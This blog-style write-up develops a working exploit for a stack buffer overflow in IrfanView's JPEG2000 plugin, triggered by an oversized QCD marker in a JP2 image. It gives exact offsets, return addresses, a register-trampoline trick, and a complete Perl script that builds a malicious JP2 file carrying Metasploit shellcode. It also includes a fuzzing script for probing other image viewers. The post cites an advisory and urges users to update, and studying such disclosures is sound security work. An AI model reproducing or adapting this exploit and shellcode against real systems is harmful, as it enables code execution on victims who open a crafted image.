This vulnerability I had discovered over Christmas while analysing a JP2 image file. In IrfanView the JP2 image is parsed by its plugin library jpeg2000.dll. The vulnerability lies when processing the Quantization Default (QCD) marker segment causing a stack-based buffer overflow. Initially after discovering the vulnerability and getting control of the EIP register I thought exploiting this would be a piece of cake but only if it was that easy. It might be still very simple for an experienced exploit writer but for me it was a bit of a challenge. Below were the steps I took to exploit this vulnerability and to make it as reliable as possible. A Jpeg2000 image file has a number of marker tags defining what each data block does one being the QCD. The QCD marker segment consists of a number of bytes
[QCD tag 0xff5c] + [QCD size 0x0023] + [QCD guard byte 0x22] + [QCD data 32 bytes]
Here 0xff5c is the magic value, 0x0023 or 35 bytes is the size and in this case consists of 2 bytes, 1 guard byte and ending with 32 bytes of data. This size can vary though as you might encounter QCD data of only 4 bytes. If we were to increase this QCD data then this would produce our stack-based buffer overflow. So viewing the QCD data part now here are the offsets for this vulnerability
[buffer 196 bytes] + [EIP] + [ESP contains 6 bytes of our buffer] + [more buffer 7549 bytes]
When overflowed we control EIP but at ESP we have only 6 buffer bytes which we can use and the rest can be seen at ESI – 0x3677 (If their is a way to jump to ESI – 0x3677 do let me know). Since I couldn’t work out how to jump to our ESI – 0x3677 or if its even possible I decided to use the only 6 bytes at ESP to see what can I do. So my plan was to use the pwned return address to jump to ESP and then use the 6 bytes to change our ESI value and jump to ESI. After giving some thought I came up with these instructions
66BE8942 mov si,0x4289 FFE6 jmp esi
In this example with these 6 bytes would change the SI value with 0x4289 and then jump to ESI. So what would be the best value to use as this going to be a static value and static values tend to make exploits very unreliable. Spending a bit time testing this on a number of Windows XP SP3 machines I calculated the best value to use would be 0x4289. From the table below the ESI addresses had been taken at the moment of exception when opening the JP2 file various ways
OS | ESI | Buffer2 start (0x65) | JP2 open method |
WinXPSP3 | 0x003472d0 | 0x00343c59 | drop on i_view32.exe |
0x003472d0 | 0x00343c59 | drop in IrfanView window | |
0x003472d0 | 0x00343c59 | double-click | |
0x0034be00 | 0x00349791 | file–open | |
WinXPSP3 | 0x00347818 | 0x003441a1 | drop on i_view32.exe |
0x00347818 | 0x003441a1 | drop in IrfanView window | |
0x00347818 | 0x003441a1 | double-click | |
0x00347880 | 0x00348179 | file–open | |
WinXPSP3 | 0x00037878 | 0x00034201 | drop on i_view32.exe |
0x00037900 | 0x00034289 | drop in IrfanView window | |
0x00347860 | 0x003441e9 | double-click | |
0x00037658 | 0x00037f51 | file–open | |
WinXPSP3(VMware) | 0x00347560 | 0x00343ee9 | drop on i_view32.exe |
0x00347560 | 0x00343ee9 | drop in IrfanView window | |
0x00347560 | 0x00343ee9 | double-click | |
0x0034af98 | 0x00343ee9 | file–open | |
WinXPSP3(MSvpc) | 0x00347528 | 0x00343eb1 | drop on i_view32.exe |
0x00347528 | 0x00343eb1 | drop in IrfanView window | |
0x00347528 | 0x00343eb1 | double-click | |
0x003471b0 | 0x00347ee1 | file–open |
As we can see the difference 0x3677 or 13943 bytes for all of them apart from the file–open method. Ignoring the file-open method for now I could have used an instruction to substract with ESI but that would have used up all my 6 bytes leaving no bytes to use for the jump. So I used the mov si,0x???? instruction which changes the last two bytes of our ESI register and using only 4 bytes. To exploit all the 3 remaining methods I used the highest value so that it still falls in our buffer which from the table is 0x4289. The reason the file–open method wont work when using the value 0x4289 is too low and does not fall in our buffer whereas the rest are at the same place or in close proximity.
Here is part of the perl code of our QCD bug and the offsets. If in total is more than 7755 (196 + 4 + 6 + 7549 = 7755) then our EIP changes so thats our buffer limit and I’ll use the entire buffer in my exploit as you’ll see further on
$QCD_tag_bug = "\xff\x5c". # <0xff5c=JP2C_QCD> "\x00\xf5". # Arbitrary size to trigger overflow "\x22"; # QuantizationStyle = 0x22 # $QCD_tag_bug .= "\x61" x 196; # buffer1 $QCD_tag_bug .= "\x62" x 4; # eip $QCD_tag_bug .= "\x64" x 6; # esp $QCD_tag_bug .= "\x65" x 7549; # buffer2
Now that I know the best value to use to change our ESI register using up 4 bytes and leaving 2 bytes for my jump. So a simple jump say call esi (0xffd6) should do the trick, but as always its never straight forward. From the choices of instructions below only JMP DWORD PTR DS:[ESI+??] worked for all JP2 open methods. The JMP DWORD PTR DS:[ESI] instruction did work on one machine though but what good is that working on one XP machine out of 5 :-). The problem with JMP DWORD PTR DS:[ESI+??] instruction is that its uses a 7th byte on our stack which we dont control, luckily this value has always been 0x34 so JMP DWORD PTR DS:[ESI+34] still takes us into our buffer.
FF56 ?? CALL DWORD PTR DS:[ESI+??] FF66 ?? JMP DWORD PTR DS:[ESI+??] FF16 CALL DWORD PTR DS:[ESI] FF26 JMP DWORD PTR DS:[ESI] FFD6 CALL ESI FFE6 JMP ESI
Using JMP DWORD PTR DS:[ESI+??] has another problem though in that I had to be precise for it to pick up our next jump address at that point. So once aligned and the buffer filled with call esi addresses (as the location might vary) the call esi took us back into the buffer again and this time our return addresses acted as nops and slided straight to our shellcode.
So our exploit takes the following steps
1. EIP will have our address to jump to ESP
0x00460ef0 : jmp esp [i_view32.exe]
2. ESP will have instructions to change ESI and jmp [esi+??]
66BE8942 MOV SI,0x4289
FF66 ?? JMP DWORD PTR DS:[ESI+??]
3. Buffer will contain call esi return addresses used in step 2.
0x0049014f : call esi [i_view32.exe]
4. Calls ESI and takes us back in our buffer and now the call esi instruction acts as nops
4F DEC EDI
0149 00 ADD DWORD PTR DS:[ECX],ECX
5. Our return address nops meet our normal nops and then our shellcode.
$outfile = "jp2_irfanview_exploit.jp2"; # $JP2header = "\x00\x00\x00\x0c". # "\x6a\x50\x20\x20". # [jP ] <0x6a502020> magic 0xd0a870a,len 12 "\x0d\x0a\x87\x0a". # "\x00\x00\x00\x14". # "\x66\x74\x79\x70". # [ftyp] <0x66747970> len 20 data offset 8 "\x6a\x70\x32\x20". # MajorVersion = 0x6a703220 = [jp2 ] "\x00\x00\x00\x00". # MinorVersion = 0 = [\0\0\0\0] "\x6a\x70\x32\x20". # Compat = 0x6a703220 = [jp2 ] "\x00\x00\x00\x38". # "\x75\x75\x69\x64". # [uuid] <0x75756964> len 56 data offset 8 "\x61\x70\x00\xde\xec\x87". # 56 bytes with start and end tags "\xd5\x11\xb2\xed\x00\x50". # "\x04\x71\xfd\xdc\xd2\x00". # "\x00\x00\x40\x01\x00\x00". # "\x00\x00\x00\x00\x60\x09". # "\x00\x00\x00\x00\x00\x00". # "\x00\x00\x00\x00\x00\x00". # "\x00\x00\x30\x00\x00\x00". # "\x00\x00\x00\x2d". # "\x6a\x70\x32\x68". # [jp2h] <0x6a703268> len 45 data offset 8 "\x00\x00\x00\x16". # "\x69\x68\x64\x72". # [ihdr] <0x69686472> len 22 data offset 8 "\x00\x00\x00\x0a". # ImageHeight = 10 "\x00\x00\x00\x0a". # ImageWidth = 10 "\x00\x03". # NumberOfComponents = 3 "\x07". # BitsPerComponent = 7 "\x07". # Compression = 7 "\x01". # Colorspace = 0x1 = unknown "\x00\x00\x00\x00\x0f". # "\x63\x6f\x6c\x72". # [colr] <0x636f6c72> len 15 data offset 8 "\x01". # Method = 1 "\x00". # Precedence = 0 "\x00". # ColorSpaceAproximation = 0 "\x00\x00\x00". # EnumeratedColorSpace = 16 = sRGB "\x10\x00\x00\x00\x00". # "\x6a\x70\x32\x63". # [jp2c] <0x6a703263> length 0 data offset 8 "\xff\x4f". # <0xff4f=JP2C_SOC> Start of codestream "\xff\x51". # <0xff51=JP2C_SIZ> length 47 "\x00\x2f". # 47 bytes "\x00\x00". # Capabilities = 0 "\x00\x00\x00\x0a". # GridWidth = 10 "\x00\x00\x00\x0a". # GridHeight = 10 "\x00\x00\x00\x00". # XImageOffset = 0 "\x00\x00\x00\x00". # YImageOffset = 0 "\x00\x00\x00\x0a". # TileWidth = 10 "\x00\x00\x00\x0a". # TileHeight = 10 "\x00\x00\x00\x00". # Xtileoffset = 0 "\x00\x00\x00\x00". # Ytileoffset = 0 "\x00\x03". # NumberOfComponents = 3 "\x07\x01\x01". # Component0Pr=0x7=8 bits un,hsep=1,vsep=1 "\x07\x01\x01". # Component0Pr=0x7=8 bits un,hsep=1,vsep=1 "\x07\x01\x01". # Component0Pr=0x7=8 bits un,hsep=1,vsep=1 "\xff\x52". # <0xff52=JP2C_COD> length 12 "\x00\x0c". # 12 bytes "\x00". # codingStyle=0=entropy coder w/o partitio "\x00". # ProgressionOrder = 0 "\x00\x05". # NumberOfLayers = 0x5 "\x01". # MultiComponentTransform=0x1=5/3 reversib "\x05". # DecompLevels = 5 "\x04". # CodeBlockWidthExponent=0x4+2 # cbw ->64 "\x04". # CodeBlockHeightExponent=0x4+2 # cbh ->64 "\x00". # CodeBLockStyle = 0 "\x00"; # QMIFBankId = 0 # # # # 1024 bytes away from the start of buffer2 0x4289 + 0x400 = 0x4689 # making it more reliable if the value does vary # # mov si,0x4689 jmp dword ptr ds:[esi+??] # $QCDESP = "\xbe\x66\x46\x89\x66\xff"; # # $QCDEIP = "\x0e\xf0\x00\x46"; # 0x00460ef0 : jmp esp # # # The return address now acts as nops # # 4F DEC EDI # 0149 00 ADD DWORD PTR DS:[ECX],ECX # # $QCDEIP2 = "\x4f\x01\x49\x00" x 1700; # 0x0049014f : call esi # # # ruby msfpayload windows/exec CMD=calc.exe exitfunc=process -t perl # windows/exec - 200 bytes # http://www.metasploit.com # VERBOSE=false, EXITFUNC=process, CMD=calc.exe # $SHELL = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" . "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" . "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" . "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" . "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" . "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" . "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" . "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" . "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" . "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" . "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" . "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" . "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" . "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" . "\x65\x78\x65\x00"; # # $QCDstart = "\xff\x5c"; # $QCDsize = "\x00\xf5"; # arbitrary size to trigger overflow # $QCDguard = "\x22"; # $QCDBUF = "\x61" x 196; # $QCDPAD = "\x61" x 4; # Use this to align if our 7th byte varies # $FILLNOPS = 7549 - (length($QCDPAD) + length($QCDEIP2) + length($SHELL)); # $QCDnops = "\x90" x $FILLNOPS; # $QCDdata = $QCDBUF.$QCDEIP.$QCDESP.$QCDPAD.$QCDEIP2.$QCDnops.$SHELL; # $QCDbug = $QCDstart . $QCDsize . $QCDguard . $QCDdata; # # $JP2image = "\xff\x90". # <0xff90=JP2C_SOT>len 10 "\x00\x0a". # 10 bytes "\x00\x00\x00\x00\x00\x68\x00\x01". "\xff\x93". # <0xff93=JP2C_SOD> Start of data "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80". "\xff\xd9"; # <0xffd9=JP2C_EOC> End of codestre # # print "[*] Creating JP2 exploit\n"; open (my $pocfile, "> $outfile"); binmode $pocfile; print $pocfile $JP2header . $QCDbug . $JP2image; close $pocfile; sleep(1); print "[+] $outfile created\n\n";
In the above exploit the JP2 header information was obtained using the ExifProbe tool on a Ubuntu machine.
Applications using Jasper software to parse JP2 files can also be exploited to cause heap-based buffer overflows when copying the QCD marker segment. Have a look at Secunia’s advisory here. I have already made discoveries in applications XnView, IvanView and PhotoLine and they are probably many more to be discovered. If you do discover any vulnerabilities you might want to think about submitting through Secunia’s Vulnerability Coordination Reward Program (SVCRP).
Here is a perl code you can use to create JP2 files with different QCD data sizes to test applications supporting jp2 to see if it triggers any overflows. You just need to change the datalen variable.
$datalen = 32; $outfile = "jp2botest.jp2"; # $JP2header = "\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a\x00\x00\x00\x14". "\x66\x74\x79\x70\x6a\x70\x32\x20\x00\x00\x00\x00\x6a\x70\x32\x20". "\x00\x00\x00\x38\x75\x75\x69\x64\x61\x70\x00\xde\xec\x87\xd5\x11". "\xb2\xed\x00\x50\x04\x71\xfd\xdc\xd2\x00\x00\x00\x40\x01\x00\x00". "\x00\x00\x00\x00\x60\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x2d\x6a\x70\x32\x68". "\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0a\x00\x00\x00\x0a". "\x00\x03\x07\x07\x01\x00\x00\x00\x00\x0f\x63\x6f\x6c\x72\x01\x00". "\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6a\x70\x32\x63\xff\x4f\xff". "\x51\x00\x2f\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x07\x01\x01\x07\x01\x01". "\xff\x52\x00\x0c\x00\x00\x00\x05\x01\x05\x04\x04\x00\x00"; # $QCDstart = "\xff\x5c"; $QCDguard = "\x22"; $QCDdata = "\x64" x $datalen; $QCDlen = length($QCDstart . $QCDguard . $QCDdata); $QCDsize = pack('n', hex(unpack('H*', pack('n', $QCDlen)))); $QCD_tag = $QCDstart . $QCDsize . $QCDguard . $QCDdata; # $JP2image = "\xff\x90\x00\x0a\x00\x00\x00\x00\x00\x68\x00\x01\xff\x93\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80". "\x80\x80\x80\x80\x80\x80\x80\x80\xff\xd9"; # print "[*] Creating JP2 file\n"; open (my $pocfile, "> $outfile"); binmode $pocfile; print $pocfile $JP2header . $QCD_tag . $JP2image; close $pocfile; sleep(1); print "[+] $outfile created\n\n";
This IrfanView exploit only works on Windows XP machines and has not been tested on any Windows 7 machines, also the exploit will not work if the DEP settings have been changed to “OptOut” or “AlwaysOn”, so there are still limitations but someone with more expertise may be able to utilize those 6 bytes at esp more efficiently. Finally an update has been released so make sure to let everyone know those using Irfanview to update their software immediately.
References:
http://secunia.com/advisories/47360/
http://packages.ubuntu.com/lucid/exifprobe